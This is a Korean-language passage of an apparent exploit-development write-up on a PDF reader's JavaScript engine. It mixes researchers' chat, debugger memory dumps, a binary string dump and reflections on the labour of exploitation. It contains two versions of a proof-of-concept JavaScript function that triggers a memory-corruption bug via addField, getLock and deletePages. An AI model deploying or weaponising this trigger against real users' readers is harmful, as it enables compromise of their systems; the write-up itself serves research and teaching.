vlad: 동의해 하지만 적어도 이제 어느 정도 제어권을 얻었어 물론 이것도 별 의미는 없지만 왜냐하면 그냥 우연일 수도 있고, 우리가 실제로 제어할 수 없을 수도 있으니까 ㅋㅋㅋㅋ 그리고 다시 원점(sq1)으로 돌아가 도대체 인생이 뭐야????
reuben: 좋아, 이제 크래시에 나타나는 텍스트를 변경했어 😄
vlad: 뭐라고?? 정말? 제어권을 얻은 거야?
희미한 빛이 보이네
reuben: 완전히는 아니야. 텍스트가 UTF-16LE라서 그런데, 뭔가 할 수 있을지도 몰라. 지켜보자.
reuben:

reuben: 이건 또 다른 건데, 내가 UTF-16LE 제한을 우회할 수 있을지도 모른다는 뜻이야.
0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.
......... 간결함과 정신 건강을 위해 대화를 생략함
그리고 어느 순간 우리는 "최종 PoC"에 도달했는데, 거기서 막혔고 그건 다음과 같다.
function type_conf(){ app.alert("Starting enhanced memory leak exploit");
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
"signature_field",
"signature",
0,
[10, 10, 100, 50]
);
gFields.combo = app.activeDocs[0].addField(
"HAHAHAHAHAH",
"combobox",
0,
[10, 60, 100, 100]
);
// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");
app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");
gLockObj.__defineGetter__('fields', function () {});
}
어쨌든 내가 우리의 작업 과정 일부를 포함하려는 이유는, 이미 보여졌듯이 익스플로잇 개발이 정확한 과학이 아님을 보여주기 위해서다. 신입 연구자와 이제 막 시작하는 젊은 연구자들에게 가장 중요한 교훈 중 하나는, 인내와 추진력(동기라고도 함)으로 무장해야 한다는 점을 깨달아야 한다는 것이다. 그래야 매우 자주 나타나는 작은 빛의 줄기를 볼 수 있다. 그 빛은 대부분의 경우 터널의 끝이 아니라 또 다른 실패일 뿐이다. 하지만 두려워하지 마라. 이것은 과정의 일부다. 배워야 할 교훈은, 익스플로잇 개발을 할 때 많은 시간을 낭비하게 될 것이라는 점이다. 정말로 많은 시간을 말이다. 다시 말하지만 두려워하지 마라. 이것은 익스플로잇 과정의 일부다. 이제 이 글과 이야기의 끝이 가까워지고 있으니, 우리가 여정에서 얻은 몇 가지 교훈을 더 알려드리겠다.그래서 객체가 쓰기 불가능하고 읽기 전용일 때, 사용 가능한 API 문서가 제공하는 모든 것을 시도했고, 그래도 사용 가능한 JS API로 보이는 것을 덤프하기 위해 추가로 노력했을 때, 예를 들어 다음과 같은 것들이 보인다면
.rdata:050B1EC8 00000007 C AddcDocID .rdata:050E8E70 00000016 C AddStr .rdata:050E8E88 00000012 C Sign_Fill_Set_PreText .rdata:050E8E9C 00000017 C Sign_Fill_AddText .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders
.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons
, 실제로 리버스 엔지니어링 프로세스의 일부를 시작하고 바이너리가 실제로 무엇을 하는지 이해하려고 할 때, 그리고 IDB 의사 코드가 다음과 같이 보일 때
내용을 맞추고 길게 늘리지 않기 위해 코드 일부를 생략했습니다.

그리고 어떤 사람은 이것 때문에 클래스 초기화라고 말할 수도 있다. 틀렸다. IDA를 믿지 마라. 오프셋이 어긋나 있었기 때문이다. 그리고 설령 내가 틀렸다고 해도, 함수 이름을 크로스 레퍼런스해야 하고, 200개의 크로스 레퍼런스에서 이해하기 위해 또 다른 200개의 함수를 분석해야 하며, 게다가 windbg에서 모든 포인터 함수 호출을 동적으로 해석하고 리버스해야 한다.
게다가 이런 것을 시도한다고 해도
09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c.....
function type_conf(){ app.alert("Starting enhanced memory leak exploit");
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
"signature_field",
"signature",
0,
[10, 10, 100, 50]
);
let syntaxString = "a.constructor.constructor('return this')()";
gFields.combo = app.activeDocs[0].addField(
syntaxString,
"combobox",
0,
[10, 60, 100, 100]
);
// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");
app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");
gLockObj.__defineGetter__('fields', function () {});
}
그리고 이것은 작동하지만, let x = "\x41\x41\x41\x41" 같은 것을 만들어서 x를 해당 객체의 이름으로 addfield에 사용할 수는 없다. bindiff에서 IDB를 로드하는 데 3시간 30분을 기다렸다가 IDB가 로드되지 않고 16GB 메모리를 소진하게 된다. 그런 것들은 대체로 해당 바이너리를 악용할 수 없을 가능성이 높다는 신호다.
그러니 배운 교훈은, 위 문단에서 설명한 대부분의 상황이 보인다면, 정신 건강을 위해 이것이 악용 가능한지 알아보려고 3주를 더 낭비하기보다 다음 익스플로잇으로 넘어가는 것이 낫다는 것이다.
이제 이야기의 끝에 도달했으니, 이 익스플로잇을 제작하고 판매하려는 시도 동안 배운 몇 가지 마지막 교훈을 남기겠다: